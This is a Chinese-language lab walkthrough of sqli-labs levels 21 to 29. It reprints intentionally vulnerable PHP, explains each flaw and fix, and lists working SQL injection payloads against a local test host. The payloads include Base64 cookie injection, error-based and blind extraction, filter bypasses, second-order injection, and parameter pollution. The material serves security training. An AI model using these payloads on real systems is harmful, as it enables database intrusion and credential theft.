Less - 21 Cookie Injection - Base64 Encoded-Single Quotes And Parenthesis (Cookie注入 Base64编码 单引号和括号 )

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. if (!isset($_COOKIE['uname'])) {
  5. function check_input($value)
  6. {
  7. if (!empty($value)) {
  8. $value = substr($value, 0, 20); // truncation (see comments)
  9. }
  10. if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
  11. {
  12. $value = stripslashes($value);
  13. }
  14. if (!ctype_digit($value)) // Quote if not a number
  15. {
  16. $value = "'" . mysql_real_escape_string($value) . "'";
  17. } else {
  18. $value = intval($value);
  19. }
  20. return $value;
  21. }
  22. if (isset($_POST['uname']) && isset($_POST['passwd'])) {
  23. $uname = check_input($_POST['uname']);
  24. $passwd = check_input($_POST['passwd']);
  25. $sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  26. $result1 = mysql_query($sql);
  27. $row1 = mysql_fetch_array($result1);
  28. if ($row1) {
  29. setcookie('uname', base64_encode($row1['username']), time() + 3600);
  30. print_r(mysql_error());
  31. header('Location: index.php');
  32. } else {
  33. print_r(mysql_error());
  34. }
  35. }
  36. } else {
  37. if (!isset($_POST['submit'])) {
  38. $cookee = $_COOKIE['uname'];
  39. $format = 'D d M Y - H:i:s';
  40. $timestamp = time() + 3600;
  41. echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT'];
  42. echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];
  43. echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
  44. $cookee = base64_decode($cookee);
  45. $sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
  46. $result = mysql_query($sql);
  47. if (!$result) {
  48. die('Issue with your mysql: ' . mysql_error());
  49. }
  50. $row = mysql_fetch_array($result);
  51. if ($row) {
  52. echo 'Your Login name:' . $row['username'];
  53. echo 'Your Password:' . $row['password'];
  54. echo 'Your ID:' . $row['id'];
  55. } else {
  56. }
  57. } else {
  58. setcookie('uname', base64_encode($row1['username']), time() - 3600);
  59. header('Location: index.php');
  60. }
  61. }
  62. ?>
  1. # 漏洞产生:漏洞出现在代码第40行,存储了用户Cooke的$cookee变量,开发者对用户输入$cookee的数据只是弄了个Base64编码后续并没有进行SQL注入过滤,导致48行直接插入sql语句进行查询造成sql注入
  2. # 漏洞修复:把$cookee放到check_input()进行过滤
  3. # 漏洞验证:
  4. # 注入探测
  5. [Cookie]:uname=YWRtaW4nKWFuZCAxPTEgIw== // admin')and 1=1 #
  6. [Cookie]:uname=YWRtaW4nKWFuZCAxPTIgIw== // admin')and 1=2 #
  7. // 报错注入
  8. [Cookie]:uname=YWRtaW4nKWFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoZGF0YWJhc2UoKSksMSksMSkgIw== // admin')and updatexml(1,concat(1,(database()),1),1) #

Less - 22 Cookie Injection - Base64 Encoded - Double Quotes (Cookie注入 Base64编码 双引号)

  1. <?php
  2. include("../sql-connections/sql-connect.php");
  3. if (!isset($_COOKIE['uname'])) {
  4. function check_input($value)
  5. {
  6. if (!empty($value)) {
  7. $value = substr($value, 0, 20); // truncation (see comments)
  8. }
  9. if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
  10. {
  11. $value = stripslashes($value);
  12. }
  13. if (!ctype_digit($value)) // Quote if not a number
  14. {
  15. $value = "'" . mysql_real_escape_string($value) . "'";
  16. } else {
  17. $value = intval($value);
  18. }
  19. return $value;
  20. }
  21. if (isset($_POST['uname']) && isset($_POST['passwd'])) {
  22. $uname = check_input($_POST['uname']);
  23. $passwd = check_input($_POST['passwd']);
  24. $sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  25. $result1 = mysql_query($sql);
  26. $row1 = mysql_fetch_array($result1);
  27. if ($row1) {
  28. setcookie('uname', base64_encode($row1['username']), time() + 3600);
  29. print_r(mysql_error());
  30. } else {
  31. print_r(mysql_error());
  32. }
  33. }
  34. } else {
  35. if (!isset($_POST['submit'])) {
  36. $cookee = $_COOKIE['uname'];
  37. $format = 'D d M Y - H:i:s';
  38. $timestamp = time() + 3600;
  39. echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT'];
  40. echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];
  41. echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
  42. $cookee = base64_decode($cookee);
  43. $cookee1 = '"' . $cookee . '"';
  44. $sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
  45. $result = mysql_query($sql);
  46. if (!$result) {
  47. die('Issue with your mysql: ' . mysql_error());
  48. }
  49. $row = mysql_fetch_array($result);
  50. if ($row) {
  51. echo 'Your Login name:' . $row['username'];
  52. echo 'Your Password:' . $row['password'];
  53. echo 'Your ID:' . $row['id'];
  54. } else {
  55. }
  56. } else {
  57. setcookie('uname', base64_encode($row1['username']), time() - 3600);
  58. }
  59. ?>
  1. # 漏洞产生:漏洞出现在代码第36行,存储了用户Cooke的$cookee变量,开发者对用户输入$cookee的数据只是弄了个Base64编码后续并没有进行SQL注入过滤,导致45行直接插入sql语句进行查询造成sql注入
  2. # 漏洞修复:把$cookee放到check_input()进行过滤
  3. # 漏洞验证:
  4. # 注入探测
  5. [Cookie]:uname=YWRtaW4iIGFuZCAxPTEgIw== // admin" and 1=1 #
  6. [Cookie]:uname=YWRtaW4iIGFuZCAxPTIgIw== // admin" and 1=2 #
  7. # 报错注入
  8. [Cookie]:uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoZGF0YWJhc2UoKSksMSksMSkgIw== // admin" and updatexml(1,concat(1,(database()),1),1) #

Less - 23 Get - Error based - Strip Comments (基于报错 )

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $reg = "/#/";
  5. $reg1 = "/--/";
  6. $replace = "";
  7. $id = preg_replace($reg, $replace, $id);
  8. $id = preg_replace($reg1, $replace, $id);
  9. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  10. $result=mysql_query($sql);
  11. $row = mysql_fetch_array($result);
  12. if($row){
  13. echo 'Your Login name:'. $row['username'];
  14. echo 'Your Password:' .$row['password']; }
  15. else{
  16. print_r(mysql_error());
  17. }
  18. }
  19. else {
  20. echo "Please input the ID as parameter with numeric value";
  21. }
  22. ?>
  1. // 漏洞产生:这里4-8行做了数据库注释字符的过滤,单用户输入的数据还是没能完全过滤掉,这里我们可以进行闭合查询语句达到注入的效果
  2. // 漏洞修复:看看21和 22的check_input()函数
  3. // 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-23/?id=1 ' // 报错
  6. http://sqli.test/Less-23/?id=1 '") # --+ // 发现 # -- 被过滤
  7. # 闭合绕过
  8. http://sqli.test/Less-23/?id=1'union select 1,2,3,4,5' // 报错
  9. http://sqli.test/Less-23/?id=1'union select 1,2,3,4' // 报错
  10. http://sqli.test/Less-23/?id=1'union select 1,2,3' // 正常 得到数据输出的位置
  11. # 报错注入
  12. http://sqli.test/Less-23/?id=1'union select updatexml(1,concat(1,(database()),1),1)'
  13. http://sqli.test/Less-23/?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1
  1. # 原:
  2. SELECT * FROM users WHERE id='$id' LIMIT 0,1
  3. # 报错注入1:
  4. SELECT * FROM users WHERE id='1'union select updatexml(1,concat(1,(database()),1),1)' LIMIT 0,1
  5. # 报错注入2:
  6. SELECT * FROM users WHERE id='1'or extractvalue(1,concat(0x7e,database())) or '1'='1' LIMIT 0,1

Less - 24 POST - Second Order Injections Real Treat - Stored Injections (二次注入 存储注入)

  1. # login_create.php
  2. <?PHP
  3. session_start();
  4. ?>
  5. <?php
  6. if (isset($_POST['submit'])) {
  7. //$username= $_POST['username'] ;
  8. $username = mysql_escape_string($_POST['username']);
  9. $pass = mysql_escape_string($_POST['password']);
  10. $re_pass = mysql_escape_string($_POST['re_password']);
  11. $sql = "select count(*) from users where username='$username'";
  12. $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
  13. $row = mysql_fetch_row($res);
  14. if (!$row[0] == 0) {
  15. ?>
  16. <script>
  17. alert("The username Already exists, Please choose a different username ")
  18. </script>;
  19. <?php
  20. header('refresh:1, url=new_user.php');
  21. } else {
  22. if ($pass == $re_pass) {
  23. # Building up the query........
  24. $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
  25. mysql_query($sql) or die('Error Creating your user account, : ' . mysql_error());
  26. header('refresh:5, url=index.php');
  27. } else {
  28. ?>
  29. <script>
  30. alert('Please make sure that password field and retype password match correctly')
  31. </script>
  32. <?php
  33. header('refresh:1, url=new_user.php');
  34. }
  35. }
  36. }
  37. ?>
  38. # pass_change.php
  39. <?php
  40. if (isset($_POST['submit'])) {
  41. # Validating the user input........
  42. $username = $_SESSION["username"];
  43. $curr_pass = mysql_real_escape_string($_POST['current_password']);
  44. $pass = mysql_real_escape_string($_POST['password']);
  45. $re_pass = mysql_real_escape_string($_POST['re_password']);
  46. if ($pass == $re_pass) {
  47. $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
  48. $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
  49. $row = mysql_affected_rows();
  50. if ($row == 1) {
  51. echo "Password successfully updated";
  52. } else {
  53. header('Location: failed.php');
  54. }
  55. } else {
  56. echo "Make sure New Password and Retype Password fields have same value";
  57. header('refresh:2, url=index.php');
  58. }
  59. }
  60. ?>
  61. <?php
  62. if (isset($_POST['submit1'])) {
  63. session_destroy();
  64. setcookie('Auth', 1, time() - 3600);
  65. header('Location: index.php');
  66. }
  67. ?>
  1. # 漏洞产生:二次注入也称存储型注入,也就是先写入一段恶意sql语句到数据库中,然后web程序调用某个与数据库交互的功能时就会触发sql注入;现在这个关卡出现的二次注入漏洞出现在用户修改密码页面(pass_change.php)
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测

对pass_change.php进行审计发现有个与数据库进行交互的sql语句
image.png
根据这条sql语句我们可以构造一个基于username的一个二次注入

在关卡首页右下注册两个个账号
受害者(aa)
image.png
攻击者(aa’#)
image.png
登录攻击者账号,进去之后来到修改密码页面并进行修改密码操作
image.png
提交后的sql语句
image.png

  1. UPDATE users SET PASSWORD='333' where username='aa'

最后执行的sql语句也就执行了修改aa这个用户的密码
image.png

Less - 25 GET - Error Based - All your OR & AND Belong To Us - String Single Quote(基于报错 过滤OR & AND 字符串类型 单引号)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $id= blacklist($id);
  5. $hint=$id;
  6. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  7. $result=mysql_query($sql);
  8. $row = mysql_fetch_array($result);
  9. if($row){
  10. echo 'Your Login name:'. $row['username'];
  11. echo 'Your Password:' .$row['password'];
  12. }else{
  13. print_r(mysql_error());
  14. }
  15. }else{
  16. }
  17. function blacklist($id)
  18. {
  19. $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) // /or/ :匹配or i:不区分大小写
  20. $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) // /AND/:匹配AND i:不区分大小写
  21. return $id;
  22. }
  23. ?>
  24. <?php
  25. echo "Hint: Your Input is Filtered with following result: ".$hint;
  26. ?>
  1. # 漏洞产生:这里写了个blacklist()函数用于过滤,但是这仅仅过滤了or和and,并不能解决sql注入,攻击者不用or或者and进行注入也能进行注入,如:|| && %26%26
  2. # 漏洞修复:看看21和 22的check_input()函数
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-25/?id=1' %26%26 1=1 --+ // 有数据
  6. http://sqli.test/Less-25/?id=1' %26%26 1=2 --+ // 无数据
  7. http://sqli.test/Less-25/?id=1' %26%26 sleep(3) --+ // 延时3秒 %26:&
  8. http://sqli.test/Less-25/?id=1' union select 1,2,3 --+ // 正常
  9. http://sqli.test/Less-25/?id=1' union select 1,2,3,4 --+ // 报错
  10. # 报错注入
  11. http://sqli.test/Less-25/?id=1' || extractvalue(1,concat(1,database())) --+
  12. http://sqli.test/Less-25/?id=1' || updatexml(1,concat(1,(database()),1),1) --+
  13. http://sqli.test/Less-25/?id=1' %26%26 updatexml(1,concat(1,(database()),1),1) --+
  14. http://sqli.test/Less-25/?id=1' union select updatexml(1,concat(1,(database()),1),1) --+

Less - 25a GET - Blind Based - ll your Or & AND Belong To Us - Intiger Based (基于盲注 过滤OR & AND 数字类型)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $id= blacklist($id);
  5. $hint=$id;
  6. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  7. $result=mysql_query($sql);
  8. $row = mysql_fetch_array($result);
  9. if($row){
  10. echo 'Your Login name:'. $row['username'];
  11. //echo 'YOU ARE IN ........';
  12. echo 'Your Password:' .$row['password'];
  13. }else{
  14. //print_r(mysql_error());
  15. }
  16. }else{
  17. echo "Please input the ID as parameter with numeric value";
  18. }
  19. function blacklist($id){
  20. $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
  21. $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
  22. return $id;
  23. }
  24. ?>
  1. # 漏洞产生:这里写了个blacklist()函数用于过滤,但是这仅仅过滤了or和and,并不能解决sql注入,攻击者不用or或者and进行注入也能进行注入,如:|| && %26%26
  2. # 漏洞修复:看看21和 22的check_input()函数
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-25a/?id=1 %26%26 sleep(3) --+ // 延时3秒
  6. http://sqli.test/Less-25a/?id=1 union select 1,2,3 --+ // 有数据
  7. http://sqli.test/Less-25a/?id=1 union select 1,2,3,4 --+ // 无数据
  8. # 联合注入
  9. http://sqli.test/Less-25a/?id=-1 union select 1,2,database() --+
  10. # 布尔盲注
  11. http://sqli.test/Less-25a/?id=1 %26%26 ascii(mid(database(),1,1))=115 --+ // 有数据
  12. http://sqli.test/Less-25a/?id=1 %26%26 ascii(mid(database(),1,1))=116 --+ // 无数据
  13. # 时间盲注
  14. http://sqli.test/Less-25a/?id=1 %26%26 if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

Less - 26 GET - Error Based - All Your Spaces And Comments Belong To Us (基于报错)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $id= blacklist($id);
  5. $hint=$id;
  6. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  7. $result=mysql_query($sql);
  8. $row = mysql_fetch_array($result);
  9. if($row){
  10. echo 'Your Login name:'. $row['username'];
  11. echo 'Your Password:' .$row['password'];
  12. }else{
  13. print_r(mysql_error());
  14. }
  15. }else {
  16. echo "Please input the ID as parameter with numeric value"
  17. }
  18. function blacklist($id){
  19. $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) 过滤or不区分大小写
  20. $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) 过滤and不区分大小写
  21. $id= preg_replace('/[\/\*]/',"", $id); //strip out /* 过滤注释(/*)
  22. $id= preg_replace('/[--]/',"", $id); //Strip out -- 过滤注释(--)
  23. $id= preg_replace('/[#]/',"", $id); //Strip out # 过滤注释(#)
  24. $id= preg_replace('/[\s]/',"", $id); //Strip out spaces 过滤空格( )
  25. $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes 过滤反斜杠(\)
  26. return $id;
  27. }
  28. ?>
  1. // 漏洞产生:分析blacklist,发现可双写绕过
  2. // 漏洞修复:
  3. // 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-26/?id=1 '" and or /*\%26%26 %7C%7C or union order by select ) --+ #
  6. // 报错回显:1'"&&||unionderbyselect)
  7. // 分析:and or / * \ -- # 被过滤
  8. # 报错注入
  9. http://sqli.test/Less-26/?id=-1'aandnd(updatexml(1,concat(1,database(),1),1))anandd'1'='1
  10. http://sqli.test/Less-26/?id=-1'%26%26(updatexml(1,concat(1,database(),1),1))%26%26'1'='1
符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

Less - 26a GET - Blind Based - All Your Spaces And Comments Belong To Us - String - Single (基于盲注 字符型)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $id= blacklist($id);
  5. $hint=$id;
  6. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  7. $result=mysql_query($sql);
  8. $row = mysql_fetch_array($result);
  9. if($row){
  10. echo 'Your Login name:'. $row['username'];
  11. echo 'Your Password:' .$row['password'];
  12. }else{
  13. //print_r(mysql_error());
  14. }
  15. }else {
  16. echo "Please input the ID as parameter with numeric value";
  17. }
  18. function blacklist($id){
  19. $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
  20. $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
  21. $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
  22. $id= preg_replace('/[--]/',"", $id); //Strip out --
  23. $id= preg_replace('/[#]/',"", $id); //Strip out #
  24. $id= preg_replace('/[\s]/',"", $id); //Strip out spaces
  25. $id= preg_replace('/[\s]/',"", $id); //Strip out spaces
  26. $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
  27. return $id;
  28. }
  29. ?>
  1. // 漏洞产生:分析blacklist,发现可双写绕过
  2. // 漏洞修复:
  3. // 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-26a/?id=1 '" and aandnd oorr uniOn SeLect OrDeR By 2 ) --+ #
  6. // 输出回显:1'"andoruniOnSeLectDeRBy2)
  7. // 过滤分析:and or -- #
  8. # 布尔盲注
  9. http://sqli.test/Less-26a/?id=1')%26%26 (ascii(mid(database(),1,1))=115)anandd('1')=('1 // 有数据
  10. http://sqli.test/Less-26a/?id=1')%26%26 (ascii(mid(database(),1,1))=116)anandd('1')=('1 // 无数据
  11. [sql]:SELECT * FROM users WHERE id=('1')&&(ascii(mid(database(),1,1))=115)and('1')=('1') LIMIT 0,1
  12. [sql]:SELECT * FROM users WHERE id=('1')&&(ascii(mid(database(),1,1))=116)and('1')=('1') LIMIT 0,1
  13. # 时间盲注
  14. http://sqli.test/Less-26a/?id=1')%26%26if(ascii(substr(database(),1,1))=115,sleep(3),1)anandd('1')=('1
  15. [sql]:SELECT * FROM users WHERE id=('1')&&if(ascii(substr(database(),1,1))=115,sleep(3),1)and('1')=('1') LIMIT 0,1

Less - 27 GET Error Based - All Your Union & Select Belong To Us - String - Single Quote (报错注入 单引号)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $id= blacklist($id);
  5. $hint=$id;
  6. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  7. $result=mysql_query($sql);
  8. $row = mysql_fetch_array($result);
  9. if($row){
  10. echo 'Your Login name:'. $row['username'];
  11. echo 'Your Password:' .$row['password'];
  12. }else{
  13. print_r(mysql_error());
  14. }
  15. }else {
  16. echo "Please input the ID as parameter with numeric value";
  17. }
  18. function blacklist($id){
  19. $id= preg_replace('/[\/\*]/',"", $id); //strip out /* 过滤注释(/*)
  20. $id= preg_replace('/[--]/',"", $id); //Strip out --. 过滤注释(--)
  21. $id= preg_replace('/[#]/',"", $id); //Strip out #. 过滤注释(#)
  22. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. 过滤空格
  23. $id= preg_replace('/select/m',"", $id); //Strip out spaces. 过滤select m:若存在换行符(\n)则可进行多行匹配
  24. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. 过滤空格
  25. $id= preg_replace('/union/s',"", $id); //Strip out union 过滤union s:特殊字符(空格、制表符、空白符、换行符等)
  26. $id= preg_replace('/select/s',"", $id); //Strip out select 过滤select s:特殊字符(空格、制表符、空白符、换行符等)
  27. $id= preg_replace('/UNION/s',"", $id); //Strip out UNION 过滤UNION s:特殊字符(空格、制表符、空白符、换行符等)
  28. $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT 过滤SELECT s:特殊字符(空格、制表符、空白符、换行符等)
  29. $id= preg_replace('/Union/s',"", $id); //Strip out Union 过滤Union s:特殊字符(空格、制表符、空白符、换行符等)
  30. $id= preg_replace('/Select/s',"", $id); //Strip out select 过滤Select s:特殊字符(空格、制表符、空白符、换行符等)
  31. return $id;
  32. }
  33. ?>
  1. # 漏洞产生:分析blacklist函数发现可使用大小写绕过
  2. # 漏洞修复:正则修饰符可再添加个i实现不区分大小写
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-27/?id=1 '" and or %26%26%20%7C%7C /*\ union select order by ) --+ #
  6. // 报错回显:1'"andor&&||\orderby)
  7. // 过滤分析:空格 /* union select --+ #
  8. http://sqli.test/Less-27/?id=1 '" and or %26%26%20%7C%7C /*\ unIon sElect order by ) --+ #
  9. // 报错回显:1'"andor&&||\unIonsElectorderby)
  10. // 过滤分析:可使用大小写进行绕过
  11. http://sqli.test/Less-27/?id=1'AnD '1'='1' AnD '1'='1 // 有数据
  12. http://sqli.test/Less-27/?id=1'AnD '1'='2' AnD '1'='1 // 无数据
  13. # 报错注入
  14. http://sqli.test/Less-27/?id=1'AnD (updatexml(1,concat(1,(database()),1),1)) AnD '1'='1
  15. http://sqli.test/Less-27/?id=1'AnD (extractvalue(1,concat(1,(database()),1))) AnD '1'='1
  16. [sql]:SELECT * FROM users WHERE id='1'AnD(updatexml(1,concat(1,(database()),1),1))AnD'1'='1' LIMIT 0,1
  17. [sql]:SELECT * FROM users WHERE id='1'AnD(extractvalue(1,concat(1,(database()),1)))AnD'1'='1' LIMIT 0,1

Less - 27a GET - Blind Based - All Your Union & Select Belong To Us - Double Quotes (基于报错 双引号)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $id= blacklist($id);
  5. $hint=$id;
  6. $id = '"' .$id. '"';
  7. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  8. echo $sql."</br>";
  9. $result=mysql_query($sql);
  10. $row = mysql_fetch_array($result);
  11. if($row){
  12. echo 'Your Login name:'. $row['username'];
  13. echo 'Your Password:' .$row['password'];
  14. }else{
  15. //print_r(mysql_error());
  16. }
  17. }else {
  18. echo "Please input the ID as parameter with numeric value";
  19. }
  20. function blacklist($id){
  21. $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
  22. $id= preg_replace('/[--]/',"", $id); //Strip out --.
  23. $id= preg_replace('/[#]/',"", $id); //Strip out #.
  24. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
  25. $id= preg_replace('/select/m',"", $id); //Strip out spaces.
  26. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
  27. $id= preg_replace('/union/s',"", $id); //Strip out union
  28. $id= preg_replace('/select/s',"", $id); //Strip out select
  29. $id= preg_replace('/UNION/s',"", $id); //Strip out UNION
  30. $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
  31. $id= preg_replace('/Union/s',"", $id); //Strip out Union
  32. $id= preg_replace('/Select/s',"", $id); //Strip out Select
  33. return $id;
  34. }
  35. ?>
  1. # 漏洞产生:分析blacklist函数发现可使用大小写绕过
  2. # 漏洞修复:正则修饰符可再添加个i实现不区分大小写
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-27a/?id=1" AnD '1'='1' And'1'="1 // 有数据
  6. http://sqli.test/Less-27a/?id=1" AnD '1'='2' And'1'="1 // 无数据
  7. # 布尔盲注
  8. http://sqli.test/Less-27a/?id=1" %26%26 (ascii(mid(database(),1,1))=115)AnD"1"="1 // 有数据
  9. http://sqli.test/Less-27a/?id=1" %26%26 (ascii(mid(database(),1,1))=116)AnD"1"="1 // 无数据
  10. [sql]:SELECT * FROM users WHERE id="1"&&(ascii(mid(database(),1,1))=115)AnD"1"="1" LIMIT 0,1
  11. [sql]:SELECT * FROM users WHERE id="1"&&(ascii(mid(database(),1,1))=116)AnD"1"="1" LIMIT 0,1
  12. # 时间盲注
  13. http://sqli.test/Less-27a/?id=1" %26%26 (if(ascii(mid(database(),1,1))=115,sleep(3),2))AnD"1"="1
  14. [sql]:SELECT * FROM users WHERE id="1"&&(if(ascii(mid(database(),1,1))=115,sleep(3),2))AnD"1"="1" LIMIT 0,1

Less - 28 GET - Error Based - All Your Union & Select Belong To Us - String - Single Quote With Parenthesis (基于报错 过滤union和select 字符串类型 单引号加括号)

28和28a串题了

Less - 28a GET - Blind Based - All Your Union & Select Belong To Us - Single Quote-Parenthesis(盲注 过滤union和select 单引号加括号)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $id= blacklist($id);
  5. $hint=$id;
  6. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  7. $result=mysql_query($sql);
  8. $row = mysql_fetch_array($result);
  9. if($row){
  10. echo 'Your Login name:'. $row['username'];
  11. echo 'Your Password:' .$row['password'];
  12. }else{
  13. echo '<font color= "#FFFF00">';
  14. //print_r(mysql_error());
  15. echo "</font>";
  16. }
  17. }else {
  18. echo "Please input the ID as parameter with numeric value";
  19. }
  20. function blacklist($id){
  21. $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
  22. $id= preg_replace('/[--]/',"", $id); //Strip out --.
  23. $id= preg_replace('/[#]/',"", $id); //Strip out #.
  24. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
  25. //$id= preg_replace('/select/m',"", $id); //Strip out spaces.
  26. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
  27. $id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT. 过滤union s:特殊字符(空格、制表符、空白符、换行符等) select i:不区分大小写
  28. return $id;
  29. }
  30. ?>
  1. # 漏洞产生:分析blacklist函数发现只过了union+select,使用其他方法注入即可
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-28/?id=1')AnD '1'='1' AnD ('1')=('1 // 有数据
  6. http://sqli.test/Less-28/?id=1')AnD '1'='2' AnD ('1')=('1 // 无数据
  7. # 联合注入
  8. http://sqli.test/Less-28/?id=111')%0AUnIon%20%0AAll%20%0ASelect%20('1')%2Cdatabase()%2C('
  9. http://sqli.test/Less-28/?id=111')
  10. UnIon
  11. All
  12. Select ('1'),database(),('
  13. # 布尔盲注
  14. http://sqli.test/Less-28/?id=1')AnD (ascii(mid(database(),1,1))=115 ) AnD ('1')=('1 // 有数据
  15. http://sqli.test/Less-28/?id=1')AnD (ascii(mid(database(),1,1))=116 ) AnD ('1')=('1 // 无数据
  16. # 时间盲注
  17. http://sqli.test/Less-28/?id=1')AnD (if(ascii(mid(database(),1,1))=115,sleep(3),1)) AnD ('1')=('1 // 延时5秒
  18. http://sqli.test/Less-28/?id=1')AnD (if(ascii(mid(database(),1,1))=116,sleep(3),1)) AnD ('1')=('1 // 正常显示

Less - 29 -GET Error Based - Impidence Mismatch - Having A WAF In Front Of Web Application(基于报错 装了WAF)

  1. # index.php
  2. <?php
  3. error_reporting(0);
  4. if(isset($_GET['id'])){
  5. $id=$_GET['id'];
  6. $qs = $_SERVER['QUERY_STRING']; // QUERY_STRING:查询(query)的字符串
  7. $hint=$qs;
  8. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  9. $result=mysql_query($sql);
  10. $row = mysql_fetch_array($result);
  11. if($row){
  12. echo 'Your Login name:'. $row['username'];
  13. echo 'Your Password:' .$row['password'];
  14. }else{
  15. print_r(mysql_error());
  16. }
  17. }else {
  18. echo "Please input the ID as parameter with numeric value";
  19. }
  20. ?>
  1. # 漏洞产生:无过滤
  2. # 漏洞修复:加过滤
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-29/?id=1' and 1=1 --+ // 有数据
  6. http://sqli.test/Less-29/?id=1' and 1=2 --+ // 无数据
  7. # 报错注入
  8. http://sqli.test/Less-29/?id=1' and updatexml(1,concat(1,(database()),1),1) --+
  1. # login.php
  2. <?php
  3. error_reporting(0);
  4. if(isset($_GET['id'])){
  5. $qs = $_SERVER['QUERY_STRING']; // QUERY_STRING:取出URL栏的字符串
  6. $hint=$qs;
  7. $id1=java_implimentation($qs);
  8. $id=$_GET['id'];
  9. ($id1);
  10. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  11. $result=mysql_query($sql);
  12. $row = mysql_fetch_array($result);
  13. if($row){
  14. echo 'Your Login name:'. $row['username'];
  15. echo 'Your Password:' .$row['password'];
  16. }else{
  17. print_r(mysql_error());
  18. }
  19. }else {
  20. echo "Please input the ID as parameter with numeric value";
  21. }
  22. // 用于匹配只输入数字,否则跳转waf页面
  23. function whitelist($input){
  24. $match = preg_match("/^\d+$/", $input); // 匹配数字开头或多个数字且数字结尾的字符串
  25. if($match){
  26. }else{
  27. header('Location: hacked.php');
  28. }
  29. }
  30. // 取出分割id和往后的字符串,返回id后的字符串
  31. function java_implimentation($query_string){
  32. $q_s = $query_string;
  33. $qs_array= explode("&",$q_s); // explode():把字符串打散成数组
  34. foreach($qs_array as $key => $value){
  35. $val=substr($value,0,2);
  36. if($val=="id"){
  37. $id_value=substr($value,3,30);
  38. return $id_value;
  39. break;
  40. }
  41. }
  42. }
  43. ?>
  1. # 漏洞产生:漏洞出现在第7行,这个函数只执行了一次且这个函数只能接受一组数据,多了一组同名变量的就会溢出,这个漏洞只解析一组,另一组将不被解析,Apache+PHP解析最后一个参数、omcat+JSP解析第一个参数
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
